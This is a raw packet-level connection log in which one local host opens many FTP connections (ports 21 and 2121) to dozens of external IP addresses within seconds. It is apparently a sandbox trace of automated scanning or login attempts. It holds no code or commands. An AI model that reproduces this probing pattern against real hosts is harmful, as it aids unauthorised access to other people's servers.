Aug 23, 2023 09:16:41.650213003 CEST	52464	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:41.663151026 CEST	52395	21	192.168.2.3	115.94.27.125
Aug 23, 2023 09:16:41.663161039 CEST	52396	2121	192.168.2.3	115.94.27.125
Aug 23, 2023 09:16:41.663321018 CEST	52390	2121	192.168.2.3	107.84.41.16
Aug 23, 2023 09:16:41.663321972 CEST	52398	21	192.168.2.3	91.230.210.189
Aug 23, 2023 09:16:41.665564060 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.665945053 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.666295052 CEST	52465	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.679104090 CEST	2121	52467	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.679445982 CEST	52467	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.681132078 CEST	2121	52461	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.682683945 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.710117102 CEST	52400	2121	192.168.2.3	91.230.210.189
Aug 23, 2023 09:16:41.727683067 CEST	52402	2121	192.168.2.3	73.36.139.0
Aug 23, 2023 09:16:41.741326094 CEST	52401	21	192.168.2.3	73.36.139.0
Aug 23, 2023 09:16:41.744296074 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.745390892 CEST	52465	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.756949902 CEST	52404	2121	192.168.2.3	223.226.73.176
Aug 23, 2023 09:16:41.761677027 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.761713028 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.761748075 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.762042046 CEST	52465	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.762193918 CEST	52465	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.762531042 CEST	52468	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.772594929 CEST	52405	21	192.168.2.3	139.60.61.96
Aug 23, 2023 09:16:41.772804022 CEST	52403	21	192.168.2.3	223.226.73.176
Aug 23, 2023 09:16:41.778233051 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.778871059 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.779242039 CEST	52468	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.785361052 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:41.785404921 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:41.785443068 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:41.786125898 CEST	52421	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:41.786125898 CEST	52469	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:41.786201000 CEST	52421	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:41.803734064 CEST	52406	2121	192.168.2.3	139.60.61.96
Aug 23, 2023 09:16:41.829502106 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:41.831466913 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:41.831509113 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:41.831688881 CEST	52323	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:41.832312107 CEST	52323	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:41.832318068 CEST	52470	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:41.857194901 CEST	21	52462	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:41.857830048 CEST	52462	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:41.880238056 CEST	21	52464	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:41.880594015 CEST	52464	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:41.883564949 CEST	2121	52467	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.885221004 CEST	52467	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.913876057 CEST	2121	52467	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.915436029 CEST	2121	52467	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.915776968 CEST	52467	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.947523117 CEST	2121	52467	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.947943926 CEST	52467	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.968024969 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:41.968080997 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:41.968278885 CEST	52469	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:41.977659941 CEST	2121	52467	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.978087902 CEST	2121	52467	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.978236914 CEST	52467	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.978485107 CEST	52467	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.979041100 CEST	52471	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.994235992 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.999344110 CEST	52468	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.007158995 CEST	52411	21	192.168.2.3	23.64.84.142
Aug 23, 2023 09:16:42.007214069 CEST	2121	52467	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.009219885 CEST	52473	2121	192.168.2.3	84.177.215.70
Aug 23, 2023 09:16:42.009269953 CEST	52472	21	192.168.2.3	115.66.28.139
Aug 23, 2023 09:16:42.009387016 CEST	52475	21	192.168.2.3	74.214.188.43
Aug 23, 2023 09:16:42.009392977 CEST	52474	2121	192.168.2.3	115.66.28.139
Aug 23, 2023 09:16:42.009629965 CEST	2121	52471	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.009790897 CEST	52471	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.015613079 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.016333103 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.017124891 CEST	52468	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.023066044 CEST	52476	2121	192.168.2.3	74.214.188.43
Aug 23, 2023 09:16:42.029246092 CEST	21	52462	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.030565977 CEST	21	52462	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.031194925 CEST	52462	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:42.033258915 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.053854942 CEST	52412	2121	192.168.2.3	23.64.84.142
Aug 23, 2023 09:16:42.054455996 CEST	52477	21	192.168.2.3	220.122.163.146
Aug 23, 2023 09:16:42.070559978 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:42.070677042 CEST	52470	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:42.074996948 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:42.108758926 CEST	21	52464	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:42.109023094 CEST	21	52464	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:42.109297037 CEST	52464	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:42.116136074 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.116624117 CEST	52468	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.132997036 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.133032084 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.133063078 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.133202076 CEST	52468	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.133277893 CEST	52468	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.134449005 CEST	52478	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.139772892 CEST	21	52475	74.214.188.43	192.168.2.3
Aug 23, 2023 09:16:42.150669098 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.150763988 CEST	52478	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.152060032 CEST	2121	52476	74.214.188.43	192.168.2.3
Aug 23, 2023 09:16:42.166263103 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:42.166580915 CEST	52469	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:42.203524113 CEST	21	52462	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.204061985 CEST	52462	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:42.211483002 CEST	2121	52471	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.211783886 CEST	52471	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.241305113 CEST	52414	21	192.168.2.3	98.34.93.51
Aug 23, 2023 09:16:42.242276907 CEST	2121	52471	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.243921995 CEST	2121	52471	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.244283915 CEST	52471	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.276365995 CEST	52479	2121	192.168.2.3	220.122.163.146
Aug 23, 2023 09:16:42.276489973 CEST	52480	21	192.168.2.3	90.215.9.83
Aug 23, 2023 09:16:42.276689053 CEST	52482	21	192.168.2.3	35.234.57.102
Aug 23, 2023 09:16:42.276701927 CEST	52483	21	192.168.2.3	73.174.59.32
Aug 23, 2023 09:16:42.276762009 CEST	52484	2121	192.168.2.3	35.234.57.102
Aug 23, 2023 09:16:42.276787996 CEST	52481	2121	192.168.2.3	90.215.9.83
Aug 23, 2023 09:16:42.277395964 CEST	2121	52471	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.277807951 CEST	52471	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.296159983 CEST	21	52454	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:42.296519041 CEST	52454	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:42.305860043 CEST	21	52477	220.122.163.146	192.168.2.3
Aug 23, 2023 09:16:42.308768034 CEST	2121	52471	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.309019089 CEST	52471	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.309524059 CEST	2121	52471	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.309597015 CEST	52471	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.310091019 CEST	52485	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.312645912 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:42.313045025 CEST	52470	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:42.336828947 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:42.336848021 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:42.337316036 CEST	52469	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:42.337897062 CEST	21	52464	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:42.338253021 CEST	52464	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:42.339541912 CEST	2121	52471	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.349668980 CEST	2121	52485	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.349762917 CEST	52485	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.359258890 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.359771013 CEST	52478	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.375617027 CEST	21	52462	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.375653028 CEST	21	52462	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.375727892 CEST	52462	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:42.375977039 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.376025915 CEST	52462	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:42.376705885 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.376816034 CEST	52486	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:42.377063990 CEST	52478	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.393241882 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.414565086 CEST	52487	2121	192.168.2.3	73.174.59.32
Aug 23, 2023 09:16:42.416136980 CEST	52488	21	192.168.2.3	112.214.2.136
Aug 23, 2023 09:16:42.444451094 CEST	52468	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.460628033 CEST	21	52468	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.460777998 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.461338043 CEST	52478	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.477500916 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.477706909 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.477760077 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.477843046 CEST	52478	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.478013992 CEST	52478	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.479173899 CEST	52489	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.494200945 CEST	21	52478	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.495469093 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.495558023 CEST	52489	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.509737015 CEST	21	52454	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:42.509902000 CEST	21	52454	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:42.509933949 CEST	21	52454	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:42.509984016 CEST	52454	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:42.510232925 CEST	52454	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:42.511162996 CEST	52490	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:42.530595064 CEST	2121	52479	220.122.163.146	192.168.2.3
Aug 23, 2023 09:16:42.544586897 CEST	2121	52485	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.544938087 CEST	52485	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.547430038 CEST	21	52462	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.548268080 CEST	21	52486	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.548365116 CEST	52486	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:42.551228046 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:42.551639080 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:42.552134037 CEST	52470	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:42.565920115 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:42.566477060 CEST	21	52464	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:42.566524029 CEST	21	52464	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:42.566603899 CEST	52464	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:42.566807032 CEST	52464	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:42.567697048 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:42.570245028 CEST	52492	2121	192.168.2.3	112.214.2.136
Aug 23, 2023 09:16:42.576627970 CEST	2121	52485	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.578131914 CEST	2121	52485	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.578444958 CEST	52485	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.612382889 CEST	2121	52485	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.612922907 CEST	52485	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.633070946 CEST	52493	21	192.168.2.3	23.96.235.112
Aug 23, 2023 09:16:42.645132065 CEST	2121	52485	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.645463943 CEST	52485	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.645499945 CEST	2121	52485	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.645562887 CEST	52485	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.647023916 CEST	52494	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.647582054 CEST	52475	21	192.168.2.3	74.214.188.43
Aug 23, 2023 09:16:42.663180113 CEST	52476	2121	192.168.2.3	74.214.188.43
Aug 23, 2023 09:16:42.675885916 CEST	2121	52494	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.675976992 CEST	52494	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.677216053 CEST	2121	52485	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.678812027 CEST	52419	2121	192.168.2.3	98.34.93.51
Aug 23, 2023 09:16:42.686486959 CEST	21	52488	112.214.2.136	192.168.2.3
Aug 23, 2023 09:16:42.697181940 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.697643042 CEST	52489	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.719310045 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.719793081 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.720204115 CEST	52489	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.730556965 CEST	21	52490	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:42.730582952 CEST	21	52454	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:42.730653048 CEST	52490	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:42.736377954 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.743752003 CEST	21	52486	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.744282961 CEST	52486	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:42.779639006 CEST	21	52475	74.214.188.43	192.168.2.3
Aug 23, 2023 09:16:42.794945002 CEST	21	52464	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:42.795574903 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:42.795684099 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:42.798156977 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.798574924 CEST	52489	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.799245119 CEST	2121	52476	74.214.188.43	192.168.2.3
Aug 23, 2023 09:16:42.814815044 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.814841032 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.814868927 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.814939976 CEST	52489	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.815094948 CEST	52489	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.816000938 CEST	52495	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.819449902 CEST	52477	21	192.168.2.3	220.122.163.146
Aug 23, 2023 09:16:42.830806017 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:42.832377911 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:42.832468033 CEST	52495	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:42.837194920 CEST	2121	52492	112.214.2.136	192.168.2.3
Aug 23, 2023 09:16:42.879553080 CEST	2121	52494	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.879976034 CEST	52494	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.883110046 CEST	52496	2121	192.168.2.3	23.96.235.112
Aug 23, 2023 09:16:42.899122000 CEST	52497	21	192.168.2.3	220.82.137.48
Aug 23, 2023 09:16:42.908809900 CEST	2121	52494	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.910187960 CEST	2121	52494	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.910589933 CEST	52494	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.913238049 CEST	52422	21	192.168.2.3	52.230.228.165
Aug 23, 2023 09:16:42.915688038 CEST	21	52486	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.916927099 CEST	21	52486	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:42.917316914 CEST	52486	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:42.942064047 CEST	2121	52494	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.942635059 CEST	52494	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.947479963 CEST	21	52490	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:42.948272943 CEST	52490	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:42.972073078 CEST	2121	52494	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.972409010 CEST	52494	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.972544909 CEST	2121	52494	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:42.972620964 CEST	52494	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:42.973385096 CEST	52498	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.001513004 CEST	2121	52494	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.002001047 CEST	2121	52498	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.002104044 CEST	52498	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.022608042 CEST	52425	2121	192.168.2.3	52.230.228.165
Aug 23, 2023 09:16:43.025768042 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:43.026087046 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:43.038248062 CEST	52479	2121	192.168.2.3	220.122.163.146
Aug 23, 2023 09:16:43.045617104 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.046098948 CEST	52495	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.064846039 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.065329075 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.065731049 CEST	52495	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.074229002 CEST	21	52477	220.122.163.146	192.168.2.3
Aug 23, 2023 09:16:43.084223986 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.091964960 CEST	21	52486	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:43.092359066 CEST	52486	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:43.116360903 CEST	52489	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.135569096 CEST	21	52489	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.161494970 CEST	21	52490	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:43.177427053 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.177915096 CEST	52495	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.181358099 CEST	52429	21	192.168.2.3	70.62.226.97
Aug 23, 2023 09:16:43.194386005 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.194421053 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.194453001 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.194554090 CEST	52488	21	192.168.2.3	112.214.2.136
Aug 23, 2023 09:16:43.194740057 CEST	52495	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.194812059 CEST	52495	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.195697069 CEST	52499	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.202183008 CEST	2121	52498	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.202466965 CEST	52498	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.210957050 CEST	21	52495	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.211960077 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.212105036 CEST	52499	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.225727081 CEST	52430	2121	192.168.2.3	70.62.226.97
Aug 23, 2023 09:16:43.225752115 CEST	52431	21	192.168.2.3	24.24.177.160
Aug 23, 2023 09:16:43.231380939 CEST	2121	52498	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.232980967 CEST	2121	52498	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.233427048 CEST	52498	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.255237103 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:43.255536079 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:43.255845070 CEST	52491	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:43.264055967 CEST	21	52486	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:43.264084101 CEST	21	52486	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:43.264267921 CEST	52486	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:43.264339924 CEST	52486	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:43.265289068 CEST	2121	52498	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.265891075 CEST	52498	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.265903950 CEST	52500	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:43.272595882 CEST	52433	21	192.168.2.3	174.67.35.22
Aug 23, 2023 09:16:43.288248062 CEST	52434	2121	192.168.2.3	24.24.177.160
Aug 23, 2023 09:16:43.288253069 CEST	52475	21	192.168.2.3	74.214.188.43
Aug 23, 2023 09:16:43.289899111 CEST	2121	52479	220.122.163.146	192.168.2.3
Aug 23, 2023 09:16:43.295253992 CEST	2121	52498	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.295821905 CEST	2121	52498	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.296010017 CEST	52498	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.296163082 CEST	52498	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.296880007 CEST	52501	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.303842068 CEST	52476	2121	192.168.2.3	74.214.188.43
Aug 23, 2023 09:16:43.303858042 CEST	52435	2121	192.168.2.3	174.67.35.22
Aug 23, 2023 09:16:43.319504976 CEST	52437	2121	192.168.2.3	95.129.249.83
Aug 23, 2023 09:16:43.319538116 CEST	52438	21	192.168.2.3	84.192.205.236
Aug 23, 2023 09:16:43.319654942 CEST	52436	21	192.168.2.3	95.129.249.83
Aug 23, 2023 09:16:43.324997902 CEST	2121	52498	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.329133987 CEST	2121	52501	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.329797029 CEST	52501	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.335781097 CEST	52502	2121	192.168.2.3	220.82.137.48
Aug 23, 2023 09:16:43.351767063 CEST	52492	2121	192.168.2.3	112.214.2.136
Aug 23, 2023 09:16:43.352751017 CEST	52503	21	192.168.2.3	106.216.184.32
Aug 23, 2023 09:16:43.352756977 CEST	52504	2121	192.168.2.3	106.216.184.32
Aug 23, 2023 09:16:43.353972912 CEST	52506	2121	192.168.2.3	62.28.231.253
Aug 23, 2023 09:16:43.355173111 CEST	52508	2121	192.168.2.3	72.240.158.102
Aug 23, 2023 09:16:43.355175972 CEST	52507	21	192.168.2.3	72.240.158.102
Aug 23, 2023 09:16:43.355521917 CEST	52505	21	192.168.2.3	62.28.231.253
Aug 23, 2023 09:16:43.384759903 CEST	52509	21	192.168.2.3	47.7.37.189
Aug 23, 2023 09:16:43.408250093 CEST	2121	52506	62.28.231.253	192.168.2.3
Aug 23, 2023 09:16:43.408987045 CEST	21	52505	62.28.231.253	192.168.2.3
Aug 23, 2023 09:16:43.419560909 CEST	21	52475	74.214.188.43	192.168.2.3
Aug 23, 2023 09:16:43.422046900 CEST	52510	2121	192.168.2.3	47.7.37.189
Aug 23, 2023 09:16:43.428889990 CEST	52441	2121	192.168.2.3	84.192.205.236
